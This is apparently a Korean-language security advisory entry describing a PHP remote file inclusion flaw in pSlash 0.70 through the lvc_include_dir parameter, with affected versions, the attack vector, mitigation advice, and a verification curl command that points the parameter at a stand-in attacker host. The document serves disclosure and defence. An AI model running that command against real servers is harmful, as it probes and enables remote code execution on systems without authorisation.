🇰🇷 한글 설명
pSlash 0.70의 modules/visitors2/include/config.inc.php에 있는 PHP 원격 파일 포함 취약점입니다. lvc_include_dir 파라미터를 통해 원격 공격자가 악의적인 PHP 파일을 로드하고 실행할 수 있습니다. 이를 통해 웹 서버의 완전한 제어가 가능합니다.
💡 쉬운 설명
pSlash 웹 애플리케이션이 외부에서 PHP 파일을 받아서 실행하는 결함이 있습니다. 공격자가 자신의 악의적인 코드가 들어있는 파일 주소를 입력하면 서버가 그 코드를 실행합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in modules/visitors2/include/config.inc.php in pSlash 0.70 allows remote attackers to execute arbitrary PHP code via a URL in the lvc_include_dir parameter.
📍 영향받는 시스템
pSlash 0.70 및 이전 버전
⚔️ 공격 벡터
lvc_include_dir 파라미터에 외부 URL을 입력하여 원격 PHP 파일 포함 및 실행
🛡️ 대응 방법
pSlash를 최신 보안 패치가 적용된 버전으로 업그레이드하거나 입력 검증을 추가하여 로컬 파일만 포함되도록 제한
🔧 검증 코드
curl로 해당 파라미터에 외부 URL 입력 시 원격 파일이 포함되거나 PHP 오류가 발생하면 취약점 확인 가능
curl -s 'http://target/modules/visitors2/include/config.inc.php?lvc_include_dir=http://attacker.com/' 2>&1 | grep -E '(php|Warning|Error|include)'